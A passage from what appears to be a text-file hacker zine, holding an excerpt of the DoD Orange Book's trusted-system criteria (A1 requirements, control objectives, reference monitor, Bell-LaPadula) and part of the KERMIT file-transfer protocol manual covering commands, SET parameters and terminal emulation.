ACCURATELY DESCRIBES THE TCB IN TERMS OF EXCEPTIONS, ERROR MESSAGES, AND EFFECTS. THE DTLS AND FTLS SHALL INCLUDE THOSE COMPONENTS OF THE TCB THAT ARE IMPLEMENTED AS HARDWARE AND/OR FIRMWARE IF THEIR PROPERTIES ARE VISIBLE AT THE TCB INTERFACE. THE FTLS shall be shown to be an accurate description of the TCB interface. A convincing argument shall be given that the DTLS is consistent with the model AND A COMBINATION OF FORMAL AND INFORMAL TECHNIQUES SHALL BE USED TO SHOW THAT THE FTLS IS CONSISTENT WITH THE MODEL. THIS VERIFICATION EVIDENCE SHALL BE CONSISTENT WITH THAT PROVIDED WITHIN THE STATE-OF-THE-ART OF THE PARTICULAR COMPUTER SECURITY CENTER-ENDORSED FORMAL SPECIFICATION AND VERIFICATION SYSTEM USED. MANUAL OR OTHER MAPPING OF THE FTLS TO THE TCB SOURCE CODE SHALL BE PERFORMED TO PROVIDE EVIDENCE OF CORRECT IMPLEMENTATION. 4.1.3.2.3 Configuration Management During THE ENTIRE LIFE-CYCLE, I.E., DURING THE DESIGN, DEVELOPMENT, and maintenance of the TCB, a configuration management system shall be in place FOR ALL SECURITY- RELEVANT HARDWARE, FIRMWARE, AND SOFTWARE that maintains control of changes to THE FORMAL MODEL, the descriptive AND FORMAL top-level SPECIFICATIONS, other design data, implementation documentation, source code, the running version of the object code, and test fixtures and documentation. The configuration management system shall assure a consistent mapping among all documentation and code associated with the current version of the TCB. Tools shall be provided for generation of a new version of the TCB from source code. Also available shall be tools, MAINTAINED UNDER STRICT CONFIGURATION CONTROL, for comparing a newly generated version with the previous TCB version in order to ascertain that only the intended changes have been made in the code that will actually be used as the new version of the TCB. A COMBINATION OF TECHNICAL, PHYSICAL, AND PROCEDURAL SAFEGUARDS SHALL BE USED TO PROTECT FROM UNAUTHORIZED MODIFICATION OR DESTRUCTION THE MASTER COPY OR COPIES OF ALL MATERIAL USED TO GENERATE THE TCB. 4.1.3.2.4 Trusted Distribution A TRUSTED ADP SYSTEM CONTROL AND DISTRIBUTION FACILITY SHALL BE PROVIDED FOR MAINTAINING THE INTEGRITY OF THE MAPPING BETWEEN THE MASTER DATA DESCRIBING THE CURRENT VERSION OF THE TCB AND THE ON-SITE MASTER COPY OF THE CODE FOR THE CURRENT VERSION. PROCEDURES (E.G., SITE SECURITY ACCEPTANCE TESTING) SHALL EXIST FOR ASSURING THAT THE TCB SOFTWARE, FIRMWARE, AND HARDWARE UPDATES DISTRIBUTED TO A CUSTOMER ARE EXACTLY AS SPECIFIED BY THE MASTER COPIES. 4.1.4 DOCUMENTATION 4.1.4.1 Security Features User's Guide A single summary, chapter, or manual in user documentation shall describe the protection mechanisms provided by the TCB, guidelines on their use, and how they interact with one another. 4.1.4.2 Trusted Facility Manual A manual addressed to the ADP system administrator shall present cautions about functions and privileges that should be controlled when running a secure facility. The procedures for examining and maintaining the audit files as well as the detailed audit record structure for each type of audit event shall be given. The manual shall describe the operator and administrator functions related to security, to include changing the security characteristics of a user. It shall provide guidelines on the consistent and effective use of the protection features of the system, how they interact, how to securely generate a new TCB, and facility procedures, warnings, and privileges that need to be controlled in order to operate the facility in a secure manner. The TCB modules that contain the reference validation mechanism shall be identified. The procedures for secure generation of a new TCB from source after modification of any modules in the TCB shall be described. It shall include the procedures to ensure that the system is initially started in a secure manner. Procedures shall also be included to resume secure system operation after any lapse in system operation. 4.1.4.3 Test Documentation The system developer shall provide to the evaluators a document that describes the test plan and results of the security mechanisms' functional testing. It shall include results of testing the effectiveness of the methods used to reduce covert channel bandwidths. THE RESULTS OF THE MAPPING BETWEEN THE FORMAL TOP-LEVEL SPECIFICATION AND THE TCB SOURCE CODE SHALL BE GIVEN. 4.1.4.4 Design Documentation Documentation shall be available that provides a description of the manufacturer's philosophy of protection and an explanation of how this philosophy is translated into the TCB. The interfaces between the TCB modules shall be described. A formal description of the security policy model enforced by the TCB shall be available and proven that it is sufficient to enforce the security policy. The specific TCB protection mechanisms shall be identified and an explanation given to show that they satisfy the model. The descriptive top-level specification (DTLS) shall be shown to be an accurate description of the TCB interface. Documentation shall describe how the TCB implements the reference monitor concept and give an explanation why it is tamperproof, cannot be bypassed, and is correctly implemented. The TCB implementation (i.e., in hardware, firmware, and software) shall be informally shown to be consistent with the FORMAL TOP- LEVEL SPECIFICATION (FTLS). The elements of the FTLS shall be shown, using informal techniques, to correspond to the elements of the TCB. Documentation shall describe how the TCB is structured to facilitate testing and to enforce least privilege. This documentation shall also present the results of the covert channel analysis and the tradeoffs involved in restricting the channels. All auditable events that may be used in the exploitation of known covert storage channels shall be identified. The bandwidths of known covert storage channels, the use of which is not detectable by the auditing mechanisms, shall be provided. (See the Covert Channel Guideline section.) HARDWARE, FIRMWARE, AND SOFTWARE MECHANISMS NOT DEALT WITH IN THE FTLS BUT STRICTLY INTERNAL TO THE TCB (E.G., MAPPING REGISTERS, DIRECT MEMORY ACCESS I/O) SHALL BE CLEARLY DESCRIBED. 4.2 BEYOND CLASS (A1) Most of the security enhancements envisioned for systems that will provide features and assurance in addition to that already provided by class (Al) systems are beyond current technology. The discussion below is intended to guide future work and is derived from research and development activities already underway in both the public and private sectors. As more and better analysis techniques are developed, the requirements for these systems will become more explicit. In the future, use of formal verification will be extended to the source level and covert timing channels will be more fully addressed. At this level the design environment will become important and testing will be aided by analysis of the formal top-level specification. Consideration will be given to the correctness of the tools used in TCB development (e.g., compilers, assemblers, loaders) and to the correct functioning of the hardware/firmware on which the TCB will run. Areas to be addressed by systems beyond class (A1) include: * System Architecture A demonstration (formal or otherwise) must be given showing that requirements of self-protection and completeness for reference monitors have been implemented in the TCB. * Security Testing Although beyond the current state-of-the-art, it is envisioned that some test-case generation will be done automatically from the formal top-level specification or formal lower-level specifications. * Formal Specification and Verification The TCB must be verified down to the source code level, using formal verification methods where feasible. Formal verification of the source code of the security-relevant portions of an operating system has proven to be a difficult task. Two important considerations are the choice of a high-level language whose semantics can be fully and formally expressed, and a careful mapping, through successive stages, of the abstract formal design to a formalization of the implementation in low-level specifications. Experience has shown that only when the lowest level specifications closely correspond to the actual code can code proofs be successfully accomplished. * Trusted Design Environment The TCB must be designed in a trusted facility with only trusted (cleared) personnel. PART II: 5.0 CONTROL OBJECTIVES FOR TRUSTED COMPUTER SYSTEMS The criteria are divided within each class into groups of requirements. These groupings were developed to assure that three basic control objectives for computer security are satisfied and not overlooked. These control objectives deal with: * Security Policy * Accountability * Assurance This section provides a discussion of these general control objectives and their implication in terms of designing trusted systems. 5.1 A Need for Consensus A major goal of the DoD Computer Security Center is to encourage the Computer Industry to develop trusted computer systems and products, making them widely available in the commercial market place. Achievement of this goal will require recognition and articulation by both the public and private sectors of a need and demand for such products. As described in the introduction to this document, efforts to define the problems and develop solutions associated with processing nationally sensitive information, as well as other sensitive data such as financial, medical, and personnel information used by the National Security Establishment, have been underway for a number of years. The criteria, as described in Part I, represent the culmination of these efforts and describe basic requirements for building trusted computer systems. To date, however, these systems have been viewed by many as only satisfying National Security needs. As long as this perception continues the consensus needed to motivate manufacture of trusted systems will be lacking. The purpose of this section is to describe, in some detail, the fundamental control objectives that lay the foundations for requirements delineated in the criteria. The goal is to explain the foundations so that those outside the National Security Establishment can assess their universality and, by extension, the universal applicability of the criteria requirements to processing all types of sensitive applications whether they be for National Security or the private sector. 5.2 Definition and Usefulness The term "control objective" refers to a statement of intent with respect to control over some aspect of an organization's resources, or processes, or both. In terms of a computer system, control objectives provide a framework for developing a strategy for fulfilling a set of security requirements for any given system. Developed in response to generic vulnerabilities, such as the need to manage and handle sensitive data in order to prevent compromise, or the need to provide accountability in order to detect fraud, control objectives have been identified as a useful method of expressing security goals.[3] Examples of control objectives include the three basic design requirements for implementing the reference monitor concept discussed in Section 6. They are: * The reference validation mechanism must be tamperproof. * The reference validation mechanism must always be invoked. * The reference validation mechanism must be small enough to be subjected to analysis and tests, the completeness of which can be assured.[1] 5.3 Criteria Control Objectives The three basic control objectives of the criteria are concerned with security policy, accountability, and assurance. The remainder of this section provides a discussion of these basic requirements. 5.3.1 Security Policy In the most general sense, computer security is concerned with controlling the way in which a computer can be used, i.e., controlling how information processed by it can be accessed and manipulated. However, at closer examination, computer security can refer to a number of areas. Symptomatic of this, FIPS PUB 39, Glossary For Computer Systems Security, does not have a unique definition for computer security.[16] Instead there are eleven separate definitions for security which include: ADP systems security, administrative security, data security, etc. A common thread running through these definitions is the word "protection." Further declarations of protection requirements can be found in DoD Directive 5200.28 which describes an acceptable level of protection for classified data to be one that will "assure that systems which process, store, or use classified data and produce classified information will, with reasonable dependability, prevent: a. Deliberate or inadvertent access to classified material by unauthorized persons, and b. Unauthorized manipulation of the computer and its associated peripheral devices."[8] In summary, protection requirements must be defined in terms of the perceived threats, risks, and goals of an organization. This is often stated in terms of a security policy. It has been pointed out in the literature that it is external laws, rules, regulations, etc. that establish what access to information is to be permitted, independent of the use of a computer. In particular, a given system can only be said to be secure with respect to its enforcement of some specific policy.[30] Thus, the control objective for security policy is: SECURITY POLICY CONTROL OBJECTIVE A STATEMENT OF INTENT WITH REGARD TO CONTROL OVER ACCESS TO AND DISSEMINATION OF INFORMATION, TO BE KNOWN AS THE SECURITY POLICY, MUST BE PRECISELY DEFINED AND IMPLEMENTED FOR EACH SYSTEM THAT IS USED TO PROCESS SENSITIVE INFORMATION. THE SECURITY POLICY MUST ACCURATELY REFLECT THE LAWS, REGULATIONS, AND GENERAL POLICIES FROM WHICH IT IS DERIVED. 5.3.1.1 Mandatory Security Policy Where a security policy is developed that is to be applied to control of classified or other specifically designated sensitive information, the policy must include detailed rules on how to handle that information throughout its life-cycle. These rules are a function of the various sensitivity designations that the information can assume and the various forms of access supported by the system. Mandatory security refers to the enforcement of a set of access control rules that constrains a subject's access to information on the basis of a comparison of that individual's clearance/authorization to the information, the classification/sensitivity designation of the information, and the form of access being mediated. Mandatory policies either require or can be satisfied by systems that can enforce a partial ordering of designations, namely, the designations must form what is mathematically known as a "lattice."[5] A clear implication of the above is that the system must assure that the designations associated with sensitive data cannot be arbitrarily changed, since this could permit individuals who lack the appropriate authorization to access sensitive information. Also implied is the requirement that the system control the flow of information so that data cannot be stored with lower sensitivity designations unless its "downgrading" has been authorized. The control objective is: MANDATORY SECURITY CONTROL OBJECTIVE SECURITY POLICIES DEFINED FOR SYSTEMS THAT ARE USED TO PROCESS CLASSIFIED OR OTHER SPECIFICALLY CATEGORIZED SENSITIVE INFORMATION MUST INCLUDE PROVISIONS FOR THE ENFORCEMENT OF MANDATORY ACCESS CONTROL RULES. THAT IS, THEY MUST INCLUDE A SET OF RULES FOR CONTROLLING ACCESS BASED DIRECTLY ON A COMPARISON OF THE INDIVIDUAL'S CLEARANCE OR AUTHORIZATION FOR THE INFORMATION AND THE CLASSIFICATION OR SENSITIVITY DESIGNATION OF THE INFORMATION BEING SOUGHT, AND INDIRECTLY ON CONSIDERATIONS OF PHYSICAL AND OTHER ENVIRONMENTAL FACTORS OF CONTROL. THE MANDATORY ACCESS CONTROL RULES MUST ACCURATELY REFLECT THE LAWS, REGULATIONS, AND GENERAL POLICIES FROM WHICH THEY ARE DERIVED. 5.3.1.2 Discretionary Security Policy Discretionary security is the principal type of access control available in computer systems today. The basis of this kind of security is that an individual user, or program operating on his behalf, is allowed to specify explicitly the types of access other users may have to information under his control. Discretionary security differs from mandatory security in that it implements an access control policy on the basis of an individual's need-to-know as opposed to mandatory controls which are driven by the classification or sensitivity designation of the information. Discretionary controls are not a replacement for mandatory controls. In an environment in which information is classified (as in the DoD) discretionary security provides for a finer granularity of control within the overall constraints of the mandatory policy. Access to classified information requires effective implementation of both types of controls as precondition to granting that access. In general, no person may have access to classified information unless: (a) that person has been determined to be trustworthy, i.e., granted a personnel security clearance -- MANDATORY, and (b) access is necessary for the performance of official duties, i.e., determined to have a need-to-know -- DISCRETIONARY. In other words, discretionary controls give individuals discretion to decide on which of the permissible accesses will actually be allowed to which users, consistent with overriding mandatory policy restrictions. The control objective is: DISCRETIONARY SECURITY CONTROL OBJECTIVE SECURITY POLICIES DEFINED FOR SYSTEMS THAT ARE USED TO PROCESS CLASSIFIED OR OTHER SENSITIVE INFORMATION MUST INCLUDE PROVISIONS FOR THE ENFORCEMENT OF DISCRETIONARY ACCESS CONTROL RULES. THAT IS, THEY MUST INCLUDE A CONSISTENT SET OF RULES FOR CONTROLLING AND LIMITING ACCESS BASED ON IDENTIFIED INDIVIDUALS WHO HAVE BEEN DETERMINED TO HAVE A NEED-TO-KNOW FOR THE INFORMATION. 5.3.1.3 Marking To implement a set of mechanisms that will put into effect a mandatory security policy, it is necessary that the system mark information with appropriate classification or sensitivity labels and maintain these markings as the information moves through the system. Once information is unalterably and accurately marked, comparisons required by the mandatory access control rules can be accurately and consistently made. An additional benefit of having the system maintain the classification or sensitivity label internally is the ability to automatically generate properly "labeled" output. The labels, if accurately and integrally maintained by the system, remain accurate when output from the system. The control objective is: MARKING CONTROL OBJECTIVE SYSTEMS THAT ARE DESIGNED TO ENFORCE A MANDATORY SECURITY POLICY MUST STORE AND PRESERVE THE INTEGRITY OF CLASSIFICATION OR OTHER SENSITIVITY LABELS FOR ALL INFORMATION. LABELS EXPORTED FROM THE SYSTEM MUST BE ACCURATE REPRESENTATIONS OF THE CORRESPONDING INTERNAL SENSITIVITY LABELS BEING EXPORTED. 5.3.2 Accountability The second basic control objective addresses one of the fundamental principles of security, i.e., individual accountability. Individual accountability is the key to securing and controlling any system that processes information on behalf of individuals or groups of individuals. A number of requirements must be met in order to satisfy this objective. The first requirement is for individual user identification. Second, there is a need for authentication of the identification. Identification is functionally dependent on authentication. Without authentication, user identification has no credibility. Without a credible identity, neither mandatory nor discretionary security policies can be properly invoked because there is no assurance that proper authorizations can be made. The third requirement is for dependable audit capabilities. That is, a trusted computer system must provide authorized personnel with the ability to audit any action that can potentially cause access to, generation of, or effect the release of classified or sensitive information. The audit data will be selectively acquired based on the auditing needs of a particular installation and/or application. However, there must be sufficient granularity in the audit data to support tracing the auditable events to a specific individual who has taken the actions or on whose behalf the actions were taken. The control objective is: ACCOUNTABILITY CONTROL OBJECTIVE SYSTEMS THAT ARE USED TO PROCESS OR HANDLE CLASSIFIED OR OTHER SENSITIVE INFORMATION MUST ASSURE INDIVIDUAL ACCOUNTABILITY WHENEVER EITHER A MANDATORY OR DISCRETIONARY SECURITY POLICY IS INVOKED. FURTHERMORE, TO ASSURE ACCOUNTABILITY THE CAPABILITY MUST EXIST FOR AN AUTHORIZED AND COMPETENT AGENT TO ACCESS AND EVALUATE ACCOUNTABILITY INFORMATION BY A SECURE MEANS, WITHIN A REASONABLE AMOUNT OF TIME, AND WITHOUT UNDUE DIFFICULTY. 5.3.3 Assurance The third basic control objective is concerned with guaranteeing or providing confidence that the security policy has been implemented correctly and that the protection-relevant elements of the system do, indeed, accurately mediate and enforce the intent of that policy. By extension, assurance must include a guarantee that the trusted portion of the system works only as intended. To accomplish these objectives, two types of assurance are needed. They are life-cycle assurance and operational assurance. Life-cycle assurance refers to steps taken by an organization to ensure that the system is designed, developed, and maintained using formalized and rigorous controls and standards.[17] Computer systems that process and store sensitive or classified information depend on the hardware and software to protect that information. It follows that the hardware and software themselves must be protected against unauthorized changes that could cause protection mechanisms to malfunction or be bypassed completely. For this reason trusted computer systems must be carefully evaluated and tested during the design and development phases and reevaluated whenever changes are made that could affect the integrity of the protection mechanisms. Only in this way can confidence be provided that the hardware and software interpretation of the security policy is maintained accurately and without distortion. While life-cycle assurance is concerned with procedures for managing system design, development, and maintenance; operational assurance focuses on features and system architecture used to ensure that the security policy is uncircumventably enforced during system operation. That is, the security policy must be integrated into the hardware and software protection features of the system. Examples of steps taken to provide this kind of confidence include: methods for testing the operational hardware and software for correct operation, isolation of protection- critical code, and the use of hardware and software to provide distinct domains. The control objective is: ASSURANCE CONTROL OBJECTIVE SYSTEMS THAT ARE USED TO PROCESS OR HANDLE CLASSIFIED OR OTHER SENSITIVE INFORMATION MUST BE DESIGNED TO GUARANTEE CORRECT AND ACCURATE INTERPRETATION OF THE SECURITY POLICY AND MUST NOT DISTORT THE INTENT OF THAT POLICY. ASSURANCE MUST BE PROVIDED THAT CORRECT IMPLEMENTATION AND OPERATION OF THE POLICY EXISTS THROUGHOUT THE SYSTEM'S LIFE-CYCLE. 6.0 RATIONALE BEHIND THE EVALUATION CLASSES 6.1 The Reference Monitor Concept In October of 1972, the Computer Security Technology Planning Study, conducted by James P. Anderson & Co., produced a report for the Electronic Systems Division (ESD) of the United States Air Force.[1] In that report, the concept of "a reference monitor which enforces the authorized access relationships between subjects and objects of a system" was introduced. The reference monitor concept was found to be an essential element of any system that would provide multilevel secure computing facilities and controls. The Anderson report went on to define the reference validation mechanism as "an implementation of the reference monitor concept . . . that validates each reference to data or programs by any user (program) against a list of authorized types of reference for that user." It then listed the three design requirements that must be met by a reference validation mechanism: a. The reference validation mechanism must be tamper proof. b. The reference validation mechanism must always be invoked. c. The reference validation mechanism must be small enough to be subject to analysis and tests, the completeness of which can be assured."[1] Extensive peer review and continuing research and development activities have sustained the validity of the Anderson Committee's findings. Early examples of the reference validation mechanism were known as security kernels. The Anderson Report described the security kernel as "that combination of hardware and software which implements the reference monitor concept."[1] In this vein, it will be noted that the security kernel must support the three reference monitor requirements listed above. 6.2 A Formal Security Policy Model Following the publication of the Anderson report, considerable research was initiated into formal models of security policy requirements and of the mechanisms that would implement and enforce those policy models as a security kernel. Prominent among these efforts was the ESD-sponsored development of the Bell and LaPadula model, an abstract formal treatment of DoD security policy.[2] Using mathematics and set theory, the model precisely defines the notion of secure state, fundamental modes of access, and the rules for granting subjects specific modes of access to objects. Finally, a theorem is proven to demonstrate that the rules are security-preserving operations, so that the application of any sequence of the rules to a system that is in a secure state will result in the system entering a new state that is also secure. This theorem is known as the Basic Security Theorem. The Bell and LaPadula model defines a relationship between clearances of subjects and classifications of system objects, now referenced as the "dominance relation." From this definition, accesses permitted between subjects and objects are explicitly defined for the fundamental modes of access, including read-only access, read/write access, and write-only access. The model defines the Simple Security Condition to control granting a subject read access to a specific object, and the *-Property (read "Star Property") to control granting a subject write access to a specific object. Both the Simple Security Condition and the *-Property include mandatory security provisions based on the dominance relation between the clearance of the subject and the classification of the object. The Discretionary Security Property is also defined, and requires that a specific subject be authorized for the particular mode of access required for the state transition. In its treatment of subjects (processes acting on behalf of a user), the model distinguishes between trusted subjects (i.e., not constrained within the model by the *-Property) and untrusted subjects (those that are constrained by the *-Property). >From the Bell and LaPadula model there evolved a model of the method of proof required to formally demonstrate that all arbitrary sequences of state transitions are security-preserving. It was also shown that the *- Property is sufficient to prevent the compromise of information by Trojan Horse attacks. 6.3 The Trusted Computing Base In order to encourage the widespread commercial availability of trusted computer systems, these evaluation criteria have been designed to address those systems in which a security kernel is specifically implemented as well as those in which a security kernel has not been implemented. The latter case includes those systems in which objective (c) is not fully supported because of the size or complexity of the reference validation mechanism. For convenience, these evaluation criteria use the term Trusted Computing Base to refer to the reference validation mechanism, be it a security kernel, front-end security filter, or the entire trusted computer system. The heart of a trusted computer system is the Trusted Computing Base (TCB) which contains all of the elements of the system responsible for supporting the security policy and supporting the isolation of objects (code and data) on which the protection is based. The bounds of the TCB equate to the "security perimeter" referenced in some computer security literature. In the interest of understandable and maintainable protection, a TCB should be as simple as possible consistent with the functions it has to perform. Thus, the TCB includes hardware, firmware, and software critical to protection and must be designed and implemented such that system elements excluded from it need not be trusted to maintain protection. Identification of the interface and elements of the TCB along with their correct functionality therefore forms the basis for evaluation. For general-purpose systems, the TCB will include key elements of the operating system and may include all of the operating system. For embedded systems, the security policy may deal with objects in a way that is meaningful at the application level rather than at the operating system level. Thus, the protection policy may be enforced in the application software rather than in the underlying operating system. The TCB will necessarily include all those portions of the operating system and application software essential to the support of the policy. Note that, as the amount of code in the TCB increases, it becomes harder to be confident that the TCB enforces the reference monitor requirements under all circumstances. 6.4 Assurance The third reference monitor design objective is currently interpreted as meaning that the TCB "must be of sufficiently simple organization and complexity to be subjected to analysis and tests, the completeness of which can be assured." Clearly, as the perceived degree of risk increases (e.g., the range of sensitivity of the system's protected data, along with the range of clearances held by the system's user population) for a particular system's operational application and environment, so also must the assurances be increased to substantiate the degree of trust that will be placed in the system. The hierarchy of requirements that are presented for the evaluation classes in the trusted computer system evaluation criteria reflect the need for these assurances. As discussed in Section 5.3, the evaluation criteria uniformly require a statement of the security policy that is enforced by each trusted computer system. In addition, it is required that a convincing argument be presented that explains why the TCB satisfies the first two design requirements for a reference monitor. It is not expected that this argument will be entirely formal. This argument is required for each candidate system in order to satisfy the assurance control objective. The systems to which security enforcement mechanisms have been added, rather than built-in as fundamental design objectives, are not readily amenable to extensive analysis since they lack the requisite conceptual simplicity of a security kernel. This is because their TCB extends to cover much of the entire system. Hence, their degree of trustworthiness can best be ascertained only by obtaining test results. Since no test procedure for something as complex as a computer system can be truly exhaustive, there is always the possibility that a subsequent penetration attempt could succeed. It is for this reason that such systems must fall into the lower evaluation classes. On the other hand, those systems that are designed and engineered to support the TCB concepts are more amenable to analysis and structured testing. Formal methods can be used to analyze the correctness of their reference validation mechanisms in enforcing the system's security policy. Other methods, including less-formal arguments, can be used in order to substantiate claims for the completeness of their access mediation and their degree of tamper-resistance. More confidence can be placed in the results of this analysis and in the thoroughness of the structured testing than can be placed in the results for less methodically structured systems. For these reasons, it appears reasonable to conclude that these systems could be used in higher-risk environments. Successful implementations of such systems would be placed in the higher evaluation classes. 6.5 The Classes It is highly desirable that there be only a small number of overall evaluation classes. Three major divisions have been identified in the evaluation criteria with a fourth division reserved for those systems that have been evaluated and found to offer unacceptable security protection. Within each major evaluation division, it was found that "intermediate" classes of trusted system design and development could meaningfully be defined. These intermediate classes have been designated in the criteria because they identify systems that: * are viewed to offer significantly better protection and assurance than would systems that satisfy the basic requirements for their evaluation class; and * there is reason to believe that systems in the intermediate evaluation classes could eventually be evolved such that they would satisfy the requirements for the next higher evaluation class. Except within division A it is not anticipated that additional "intermediate" evaluation classes satisfying the two characteristics described above will be identified. Distinctions in terms of system architecture, security policy enforcement, and evidence of credibility between evaluation classes have been defined such that the "jump" between evaluation classes would require a considerable investment of effort on the part of implementors. Correspondingly, there are expected to be significant differentials of risk to which systems from the higher evaluation classes will be exposed. 7.0 THE RELATIONSHIP BETWEEN POLICY AND THE CRITERIA Section 1 presents fundamental computer security requirements and Section 5 presents the control objectives for Trusted Computer Systems. They are general requirements, useful and necessary, for the development of all secure systems. However, when designing systems that will be used to process classified or other sensitive information, functional requirements for meeting the Control Objectives become more specific. There is a large body of policy laid down in the form of Regulations, Directives, Presidential Executive Orders, and OMB Circulars that form the basis of the procedures for the handling and processing of Federal information in general and classified information specifically. This section presents pertinent excerpts from these policy statements and discusses their relationship to the Control Objectives. ============================================================================= / / / File 03 / NIA070 / / KERMIT Protocol Manual 02 of 02 / / Malefactor Of Organized Crime / / Dedicated To: The Mentor / / / [Editor's Note: For part 01 check in NIA069, and also there for the copyrights and so-on.] 9.5. Commands Whose Object Should Be Specified Some Kermit implementations include various local file management services and commands to invoke them. For instance, an implementation might have commands to let you get directory listings, delete files, switch disks, and inquire about free disk space without having to exit and restart the program. In ad- dition, remote servers may also provide such services. A user Kermit must be able to distinguish between commands aimed at its own system and those aimed at the remote one. When any confusion is possible, such a command may be prefixed by one of the following "object prefixes": REMOTE Ask the remote Kermit server to provide this service. LOCAL Perform the service locally. If the "object prefix" is omitted, the command should be executed locally. The services include: KERMIT Commands Page 50 LOGIN This should be used in its timesharing sense, to create an identity ("job", "session", "access", "account") on the system. LOGOUT To terminate a session that was initiated by LOGIN. COPY Make a new copy of the specified file with the specified name. CWD Change Working Directory. This is ugly, but more natural verbs like CONNECT and ATTACH are too imprecise. CWD is the ARPAnet file transfer standard command to invoke this function. DIRECTORY Provide a list of the names, and possibly other attributes, of the files in the current working directory (or the specified directory). DELETE Delete the specified files. ERASE This could be a synomym for DELETE, since its meaning is clear. (It doesn't seem wise to include UNDELETE or UNERASE in the standard list; most systems don't support such a function, and users' expectations should not be toyed with...) KERMIT Send a command to the remote KERMIT server in its own interactive com- mand syntax. RENAME Change the name of the specified file. TYPE Display the contents of the specified file(s) at the terminal. SPACE Tell how much space is used and available for storing files in the cur- rent working directory (or the specified directory). SUBMIT Submit the specified file(s) for background (batch) processing. PRINT Print the specified file(s) on a printer. MOUNT Request a mount of the specified tape, disk, or other removable storage medium. WHO Show who is logged in (e.g. to a timesharing system), or give infor- mation about a specified user or network host. MAIL Send electronic mail to the specified user(s). MESSAGE Send a terminal message (on a network or timesharing system). HELP Give brief information about how to use KERMIT. SET Set various parameters relating to debugging, transmission, file mode, and so forth. SHOW Display settings of SET parameters, capabilities in force, etc. STATISTICS Give information about the performance of the most recent file transfer KERMIT Commands Page 51 -- elapsed time, effective baud rate, various counts, etc. HOST Pass the given command string to the specified (i.e. remote or local) host for execution in its own command language. LOGGING Open or close a remote transaction or debugging log. 9.6. The SET Command A SET command should be provided to allow the user to tailor a connection to the peculiarities of the communication path, the local or remote file system, etc. Here are some parameters that should be SET-able: BLOCK-CHECK Specify the type of block check to be used: single character checksum, two-character checksum, 3-character CRC. DEBUGGING Display or log the packet traffic, packet numbers, and/or program states. Useful for debugging new versions of KERMIT, novel combina- tions of KERMIT programs, etc. DELAY How many seconds a remote (non-server) KERMIT should wait before send- ing the Send-Init packet, to give the user time to escape back to the local KERMIT and type a RECEIVE command. DUPLEX For terminal emulation, specify FULL or HALF duplex echoing. EIGHT-BIT-PREFIXING Specify that "8th bit" prefixing must be done; normally it will not be done. END-OF-LINE Specify any line terminator that must be used after a packet. ESCAPE Specify the escape character for terminal emulation. FILE attributes Almost any of the attributes listed above in the Attributes section (8.5). The most common need is to tell the KERMIT program whether an incoming or outbound file is text or binary. FLOW-CONTROL Specify the flow control mechanism for the line, such as XON/XOFF, DTR/CTS, etc. Allow flow control to be turned off as well as on. Flow control is done only on full-duplex connections. HANDSHAKE Specify any line-access negotiation that must be used or simulated during file transfer. For instance, a half duplex system will often need to "turn the line around" after sending a packet, in order to give you permission to reply. A common handshake is XON (?Q); the current user of the line transmits an XON when done transmitting data. LINE Specify the line or device designator for the connection. This is for KERMIT Commands Page 52 use in a KERMIT program that can run in either remote or local mode; the default line is the controlling terminal (for remote operation). If an external device is used, local operation is presumed. LOG Specify a local file in which to keep a log of the transaction. There may be logs for debugging purposes (packet traffic, state transitions, etc) and for auditing purposes (to record the name and disposition of each file transferred). MARKER Change the start-of-packet marker from the default of SOH (CTRL-A) to some other control character, in case one or both systems has problems using CTRL-A for this purpose. PACKET-LENGTH The maximum length for a packet. This should normally be no less than 30 or 40, and can never be greater than 96. Short packets can be an advantage on noisy lines; they reduce the probabily of a particular packet being corrupted, as well as the retransmission overhead when corruption does occur. PADDING The number of padding characters that should be sent before each packet, and what the padding character should be. Rarely necessary. PARITY Specify the parity (ODD, EVEN, MARK, SPACE, NONE) of the physical con- nection. If other than none, the "8th bit" cannot be used to transmit data and must not be used by either side in block check computation. PAUSE How many seconds to pause after receiving a packet before sending the next packet. Normally 0, but when a system communication processor or front end has trouble keeping up with the traffic, a short pause be- tween packets may allow it to recover its wits; hopefully, something under a second will suffice. PREFIX Change the default prefix for control characters, 8-bit characters, or repeated quantities. PROMPT Change the program's prompt. This is useful when running KERMIT be- tween two systems whose prompt is the same, to eliminate confusion about which KERMIT you are talking to. REPEAT-COUNT-PROCESSING Change the default for repeat count processing. Normally, it will be done if both KERMIT programs agree to do it. RETRY The maximum number of times to attempt to send or receive a packet be- fore giving up. The normal number is about 5, but the user should be able to adjust it according to the condition of the line, the load on the systems, etc. TIMEOUT Specify the length of the timer to set when waiting for a packet to ar- rive. KERMIT Commands Page 53 9.7. Macros, the DEFINE Command In addition to the individual set commands, a "macro" facility is recommended to allow users to combine the characteristics of specific systems into a single SET option. For example: DEFINE IBM = PARITY ODD, DUPLEX HALF, HANDSHAKE XON DEFINE UNIX = PARITY NONE, DUPLEX FULL DEFINE TELENET = PARITY MARK This could be done by providing a fancy runtime parser for commands like this (which could be automatically TAKEn from the user's KERMIT initialization file upon program startup), or simply hardwired into the SET command table. With these definitions in place, the user would simply type "SET IBM", "SET UNIX", and so forth, to set up the program to communication to the remote sys- tem. Terminal Emulation Page 54 10. Terminal Emulation The local system must be able to act as a terminal so that the user can connect to the remote system, log in, and start up the remote KERMIT. Terminal emulation should be provided by any KERMIT program that runs locally, so that the user need not exit and restart the local KERMIT program in order to switch between terminal and protocol operation. On smaller systems, this is particularly important for various reasons -- restarting the program and typing in all the necessary SET commands is too inconvenient and time-consuming; in some micros, switching in and out of terminal emulation may cause carrier to drop, etc. Only bare-bones terminal emulation need be supplied by KERMIT; there is no need to emulate any particular kind of "smart" terminal. Simple "dumb" terminal emulation is sufficient to do the job. Emulation of fancier terminals is nice to have, however, to take advantage of the remote system's editing and display capabilities. In some cases, microcomputer firmware will take care of this. To build emulation for a particular type of terminal into the program, you must interpret and act upon escape sequences as they arrive at the port. No error checking is done during terminal emulation. It is "outside the protocol"; characters go back and forth "bare". In this sense, terminal emula- tion through KERMIT is no better than actually using a real terminal. Some KERMIT implementations may allow logging of the terminal emulation session to a local file. Such a facility allows "capture" of remote typescripts and files, again with no error checking or correction. When this facility is provided, it is also desirable to have a convenient way of "toggling" the log- ging on and off. If the local system does not provide system- or firmware-level flow control, like XON/XOFF, the terminal emulation program should attempt to simulate it, especially if logging is being done. The terminal emulation facility should be able to handle either remote or local echoing (full or half duplex), any required handshake, and it should be able to transmit any parity required by the remote side or the communication medium. A terminal emulator works by continuously sampling both console input from the local terminal and input from the communication line. Simple input and output functions will not suffice, however, since if you ask for input from a certain device and there is none available, you will generally block until input does become available, during which time you will be missing input from the other device. Thus you must have a way to bounce back and forth regardless of whether input is 